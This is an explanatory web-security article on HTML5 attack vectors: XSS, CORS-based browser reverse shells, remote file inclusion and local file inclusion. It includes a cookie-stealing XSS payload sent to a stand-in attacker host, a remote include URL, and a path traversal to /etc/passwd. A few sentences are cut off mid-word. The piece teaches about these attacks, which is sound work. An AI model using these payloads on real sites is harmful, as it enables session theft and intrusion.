Demystifying HTML 5 Attacks
An attack vector is a path or means by which a hacker can get access to a website. HTML5 is rapidly emerging as the standard for rich Web applications—an alternative to proprietary applications like Silverlight and Flash. Unfortunately, it throws up secur
HTML5 is redefining the future of Web applications by providing a rich set of new features along with extending the existing features and APIs of HTML4. HTML, the heart of the Web, has brought about significant advances with HTML5 by providing support for the latest multimedia and server communication. All the latest versions of browsers have support for HTML5.
HTML5 brings a whole slew of new features to Web browsers, some of which can be a threat to security and privacy. The new features include tags like <button>, <video>, <footer>, <audio> etc, and new attributes for tags such as autocomplete and autofocus. It also includes some additional features like local storage, cross origin resource sharing, etc. Even though all these features are an added benefit for Web developers, each of them can also be easily exploited.
Client-side or local storage: A secure feature?
Local storage is one of the prime features of HTML5. The main advantage is that you can make the HTML applications run while you are not connected to the network and possibly sync the data when you go online again. This improves the flexibility of the app. It's also a performance booster as you can show large amounts of data as soon as the user clicks on to your site, instead of waiting for it to download again. In other words, local storage has many advantages that help you to simplify tasks and also improve the performance. With a single line of code, you can add and retrieve information from local storage as follows: localStorage.setItem(key, value); localStorage.getItem(key);
But from the security perspective, is local storage a good idea? Well, the answer is ‘no’. Let's look into the problems of local storage.
Cross site scripting (XSS): The deadliest evil!
If the commands inside the URL go unsanitised, this will trigger a pop-up alert. See Figure 1.
At this point, an attacker may continue to modify this URL to include more sophisticated XSS payloads to exploit users. Let us try a more advanced payload that can steal the user's cookie: http://victim.com/"><SCRIPT>var+img=new+Image();img. src="http://attacker/"%20+%20document.cookie; </SCRIPT>
Another method of testing for XSS is to inject malicious code into the search box provided in the victim's website. If you inject the above XSS testing query in the search box, the URL looks somewhat like this: http://victim.com/search.php?q=“><SCRIPT>alert('XSS%20 Testing')</SCRIPT>
If vulnerable, this can also trigger a pop-up box in the website.
XSS attack vectors in HTML5
Finally, one of the other ways of attack is through injection within the input tag. HTML5 has introduced ways to create self-triggering XSS such as: <input type=”text” value=”Malicious code” onfocus=”alert(1)” autofocus>
As mentioned earlier, client side storage (local storage) raises issues of security and privacy. Let us see why this is so.
XSS can be a lethal attack vector for local storage. All the information that is stored in the local storage can
This modified payload can very easily get the details of the cookie from victims without their knowledge. So stored user credentials or cookie information in local storage can be very easily stolen if the Web developers are not careful with their application.
Cross origin resource sharing: obtaining the reverse shell
HTML5 has another feature called cross origin requests, which allows browsers to make Ajax calls from one domain to another, and read the response as long as the other allows it. This feature can be advanced to cross domain http traffic, which can be used to set up a browser equivalent of the reverse shell. Now let us see how this attack works.
This attack also makes use of XSS vulnerabilities. Attackers first target a site that is vulnerable to XSS and inject malicious code into it. When a legitimate user visits the vulnerable site and happens to click on the malicious code that the attackers have injected, the payload makes a cross domain call to the attackers’ website, which responds with the ‘ access control allow origin’ header. This creates a two- way communications channel from the vulnerable site to the attacker site. In other words, you could say that the attackers get a reverse shell, and can now access the vulnerable site via the victim's browser by sending commands over the Internet. There are tools available in the market that can simplify the tasks, like Shell of the future, which is a reverse Web shell handler for XSS exploitation.
Remote code execution
While developing HTML5, the developers made a significant difference in XMLhttprequest( ), which created a potential flaw in the sites that use formatting such as: http://www.victim.com/#index.php http://www.victim.com/index.php?page=example.php
In this type of formatting, the site code will parse out the page to load index.php, and then use XMLhttprequest( ) to grab the file example.php from its Web server before directly adding the code of that page to the current page. If the developer is not careful enough while designing this, the XMLhttprequest( ) can be exploited to fetch pages from any site and not only the current victim Web server. This can lead to an attacker including a remote code into the XMLhttprequest( ), which it will try to fetch and execute: http://www.victim.com/index.php?page=http://attacker.com/ maliciouscode.php
This can even lead to the attacker getting a root shell on the Web server, which can be used for further attacks. Consider a situation in which the developers were careful in designing the website and so made sure the XMLhttprequest( ) request fetches files only from their current Web server and not from any other server. Does that mean they are secure? The answer is ‘no’. The attacker can still make further URL modifications to list the files inside the Web server that contains credential information: http://www.victim.com/index.php?page=../../../../../../etc/ passwd
If that URL goes unsanitised, this will lead to the listing of all the contents inside the /etc/passwd file where the username-password hashes are stored in a Linux-based machine. This type of attack that leads to the unauthorised access of credential files in the local Web server is called a local file inclusion attack.
Even though HTML5 was supposed to simplify the task of Web developers and to quickly implement applications that are dynamic and flexible, it is certain that little importance was given to security. The introduction of new features not only added to the flexibility but has also raised issues of security and privacy. Most of the new features implemented can be used illegally to inject malicious code and to access unauthorised content. Defence mechanisms including filtering user inputs, blacklisting unnecessary tags in the input field, sanitising search queries before showing of the result, etc, will help in preventing some common attacks, but attacks like XSS and remote code execution are very difficult to prevent. The author is a second year Computer Science student from Amrita University, whose core interest lies in Web application security and penetration testing. He is a passionate blogger and an OWASP contributor. You can follow him on www.securethelock.com or mail him at anirud[email protected]curethelock.com.
Figure 1: Testing for XSS